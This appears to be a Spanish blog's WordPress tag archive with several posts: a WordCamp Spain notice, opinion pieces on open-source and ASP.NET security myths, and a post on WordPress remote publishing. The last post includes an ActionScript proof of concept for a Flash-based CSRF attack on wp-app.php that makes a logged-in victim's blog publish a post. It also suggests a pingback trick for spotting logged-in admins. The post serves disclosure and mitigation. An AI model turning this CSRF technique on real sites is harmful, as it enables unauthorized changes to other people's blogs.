Tag: WordPress

Categories
Miniposts WordPress

WordCamp Spain

WordCamp Spain es "un evento dedicado a promover, compartir y difundir los conocimientos y el espíritu de comunidad entre los usuarios, desarrolladores y empresas que usan WordPress para sus proyectos". Se realizará el próximo sábado 10 de octubre, en Espai Jove de Gràcia de Barcelona.

Aunque estoy relativamente cerca, lamentablemente me enteré muy tarde para poder hacer los planes y principalmente para ahorrar un poco en la compra de pasajes 😀 . Bueno, estaré al tanto de lo que escriban los que irán. 🙂

Categories
Seguridad

Seguridad: software libre vs software privativo

Si bien es cierto que llevo desfasado en temas de seguridad y que seguramente soy uno de los menos indicados para hablar de estos temas, me llama mucho la atención cuando alguien opina sin mucho conocimiento del tema en cuestión. Esta vez, en la lectura que suelo hacer diariamente, encontré un artículo que habla sobre la seguridad de software libre, aunque erróneamente el título parezca indicar que sólo se refiere a WordPress.

El problema es que el modelo de código abierto permite que hackers y casi cualquier otra persona se pueda dar el lujo de excavar hasta llegar al núcleo del código de todos los foros y blogs que funcionan a través de dicha plataforma, permitiéndoles descifrar múltiples maneras de irrumpir en la sagrada información de sus usuarios.

¿Qué hacer al respecto?

Hay tres cosas que puedes hacer si no puedes soportar las debilidades del sistema open source:

  1. Utilizarlo, pero pagarle a alguien más para que te lo mantenga.
  2. Utilizar un servicio de código cerrado y ser estricto para mantenerlo así.
  3. Constrúyalo usted mismo. Haga uso de su conocimiento para evitar que otras personas puedan tener algún tipo de influencia sobre la vulnerabilidad de su información.

Yo diría que muchos se ahogan en un vaso de agua, porque olvidamos que el código abierto es por naturaleza vulnerable a hacks, ataques de "gusanos informáticos" y cualquier otra variedad de amenaza que la web nos ofrece hoy en día. Mientras el código esté expuesto, el proyecto que se proponen muchos de romperlo y penetrarlo suena tanto divertido como perverso, pero es algo que todos nosotros ya debimos de haber entendido hace un buen rato, para evitar todo el barullo que se suele hacer en torno al tema de seguridad.

El autor del artículo usa la típica falacia de que si el código está disponible para todos, entonces es más inseguro. En el poco tiempo que me involucré en el tema de seguridad, me quedó bastante claro que si alguien está determinado a vulnerar tu aplicación o sistema, lo va hacer independientemente de si el código está disponible o no.

En mi opinión, creo que la mejor forma de hacer que las aplicaciones de software libre sean más estables, es que justamente seamos nosotros, los usuarios, los que participemos en este proceso identificando bugs, ayudando a otros a mantenerse actualizados o, si no se cuentan con el tiempo o conocimientos necesarios, colaborando económicamente.

Categories
ASP.NET Web WordPress

ASP.NET, seguridad y algunos mitos

El cuento empieza luego de que un amigo me preguntó si sabía algo de Graffiti -- un CMS de pago desarrollado en .NET, puesto que su empresa tenía planes en adquirir unas cuantas licencias del mismo.

El hecho es que mientras charlabamos intenté convencerle para que usen WordPress en su lugar, pero las principales razones que me dió para haber descartado esa opción era que a) WordPress tenía un largo historial de problemas de seguridad en comparación al otro y b) que por el mismo hecho de estar desarrollado en .NET la aplicación era más segura.

Cuando participaba en ciertos foros de discusión relacionados a .NET, solía ser fácil encontrar ese tipo de opiniones en relación a la seguridad[1] de ASP.NET, es por este motivo que me animé a comentar esta anécdota, puesto que posiblemente sea de útil para alguien que recién comienza -- naturalmente tendría que pasar por alto mi terrible forma de redactar y ortografía. 😀

Regresando al tema lo que le dije fue que los problemas de seguridad existen, más allá de lo buenos que sean los programadores o de que los lenguajes que utilicen sean dinámicamente o estáticamente tipados y que el número de problemas reportados generalmente está en relación a la popularidad del software.

Finalmente, para reforzar lo que había dicho, daba la casualidad que hace algo menos de un año, había encontrado un problema grave de seguridad que todavía afecta a la última versión de Graffiti y que permite tomar el control del sitio en cuestión de segundos. Ahora me pregunto, ¿habré ganado algún usuario más de WordPress? 😀

1. No digo que este tipo de opiniones solamente vengan de parte de algunos desarrolladores .NET, sólo comento mi experiencia.

Categories
Hosting Miniposts Recursos Utilidades WordPress

DreamHost Apps: Hosting gratis para aplicaciones

DreamHost Apps Hosting gratis para aplicaciones web. [Vía]

Categories
WordPress

Protocolos de publicación remota en WordPress

A estas alturas imagino que la mayoría ya sabe que en cada instalación nueva de WordPress 2.6, tanto la publicación por XMLRPC como APP estarán desactivados por omisión. A pesar de que algunos inicialmente pegaron un grito al cielo por este cambio, personalmente creo que es un cambio acertado, puesto que seguramente reducirá el número de vectores de ataque en aquellos blogs que no necesiten de éstos protocolos.

Sin ir muy lejos, actualmente la forma como está implementado APP en WordPress (y probablemente en otros CMSs), lo hace a este último, vulnerable a ataques CSRF usando Flash, que como se sabe, se puede usar para sobrepasar distintas restricciones de seguridad [1]. La siguiente porción de código muestra que tan sencillo es aprovechar este problema de seguridad en el protocolo mencionado:

actionscript:

// En este caso simplemente crea una nueva entrada.
function WpApp() {
        this.readQueryString();
       
        var blog:String = _params.blog;
        if ( !blog ) return;
        var r:URLRequest = new URLRequest(blog + '/wp-app.php?action=/posts');

        r.method = 'POST';
        r.data =        '<?xml version="1.0" encoding="UTF-8"?>'+
                                '<rss version="2.0"' +
                                        'xmlns:content="http://purl.org/rss/1.0/modules/content/"' +
                                        'xmlns:wfw="http://wellformedweb.org/CommentAPI/"' +
                                        'xmlns:dc="http://purl.org/dc/elements/1.1/"' +
                                        'xmlns:atom="http://www.w3.org/2005/Atom">'
                                '<channel>'+
                                        '<atom:entry>'+
                                                '<title>Boo</title>'+
                                                '<category domain="category" nicename="uncategorized" term="uncategorized"><![CDATA[Uncategorized]]></category>'+
                                                '<content><![CDATA[boo!]]></content>'+
                                        '</atom:entry>'+
                                        '</channel>'+
                                '</rss>';
        r.contentType = 'application/atom+xml';

        navigateToURL(r, '_self');
}

Lo único que el atacante necesitaría, sería identificar si la víctima inició sesión o no, y lo primero que se me viene a la mente en estos momentos es enviar un pingback y luego verificar que hizo click desde algún lado del panel de administración -- ¡a que no soy el único que mira los enlaces entrantes! 😀

Los problemas que comento han sido reportados hace mes y medio aproximadamente, pero hasta el momento sólo hicieron una corrección puntual para la prueba de concepto que envié, por lo que no sería mala idea eliminar este archivo (wp-app.php o app.php) o denegar el acceso al mismo.

[1] Por ejemplo las páginas que permiten subir archivos y que generalmente no tienen protección contra ataques CSRF. Actualmente casi todas las versiones de WordPress sufren este problema y se puede explotar usando lo descrito en Cross-site File Upload Attacks.